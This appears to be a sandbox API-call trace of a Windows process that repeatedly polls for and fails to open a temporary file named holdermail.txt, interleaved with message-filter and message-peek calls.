	[0088.974] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.974] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.974] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.974] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.974] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.974] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.975] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.975] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.975] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.975] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.976] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.976] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.976] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.977] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.977] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.977] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.977] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.977] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.978] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.978] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.978] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.978] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.978] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.978] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.979] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.979] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.979] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.979] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.980] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.980] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.981] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.981] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.981] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.981] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.981] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.981] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.982] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.982] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.982] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.982] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.982] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.982] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.983] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.983] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.983] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.983] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.983] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.984] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.984] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.984] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.985] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.985] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.985] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.985] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.985] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.985] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.986] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.986] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.986] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.986] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.986] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.987] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.987] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.987] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.987] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.987] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.988] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.988] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.988] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
